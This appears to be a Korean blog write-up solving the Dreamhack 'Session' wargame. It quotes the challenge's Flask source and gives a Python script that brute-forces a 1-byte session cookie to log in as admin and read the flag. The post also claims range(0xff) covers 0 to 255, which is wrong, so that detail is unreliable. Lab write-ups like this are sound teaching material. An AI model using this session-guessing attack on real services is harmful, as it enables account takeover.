[Wargame] 드림핵 - Session

Song·2024년 11월 14일

드림핵

목록 보기
11/18

문제


소스코드

users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}

문제 파일에 있는 app.py를 보면 각 유저 정보가 적혀있는 걸 볼 수 있다.

@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not admin"}')

그리고 아래에는 username이 admin인 경우 flag 값을 출력하도록 코드가 작성되어있다. sessionid 값을 알아내 admin으로 로그인하면 바로 flag 값이 나오는 구조이다.

if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)

그리고 맨 아래를 보면 session_storage[os.urandom(1).hex()] = 'admin' 코드가 적혀있는데, 이는 session 저장소에 1바이트의 랜덤 값을 16진수로 변경한 값을 admin의 키로 저장하는 코드이다. 즉, 1바이트의 랜덤 16진수 값을 알아내면 admin으로 로그인이 된다는 의미이다.

1바이트를 16진수로 변환하면 2자리가 나온다. 이를 bruteforce 공격을 통해 알아내보자.


풀이

import requests as req

URL = "http://host1.dreamhack.games:16646/"

for i in range(0xff):

    print("Trying session {}".format(f'{i:02x}'))
    res = req.get(URL, cookies={"sessionid" : f'{i:02x}'})

    if "flag is" in res.text:
        print("----------------------------------\nSuccess Attack")
        print(res.text)
        break;

admin의 sessionid 값은 16진수 2자리이기 때문에 range 인자값을 2자리 16진수 최댓값인 0xff로 입력한다. 그러면 i 값에 0부터 255까지의 정수 값이 차례로 저장된다. 이 값을 get 메서드를 사용해 서버로 요청을 전송할 때 i 값을 16진수로 변환해서 sessionid 키의 값으로 입력해주어야 한다.

16진수 변환은 형식 지정자를 이용한다. f'{i:02x}'에서 02는 2자리 수를 의미하고, x는 소문자 16진수를 의미한다.

마지막으로, 받아온 응답에 "flag is" 문자열이 포함되어 있으면 반복문을 멈추고 받아온 응답을 출력한다.

코드를 실행하면 위처럼 2자리 16진수를 하나씩 대입하다가 "flag is" 문자열을 발견하면 success 구문과 받아온 응답을 출력한다.

Squeezed text 버튼을 눌러보면 전체 응답 코드가 출력되고, 아래로 내려보면 플래그 값을 확인할 수 있다.

profile
안녕하세요

0개의 댓글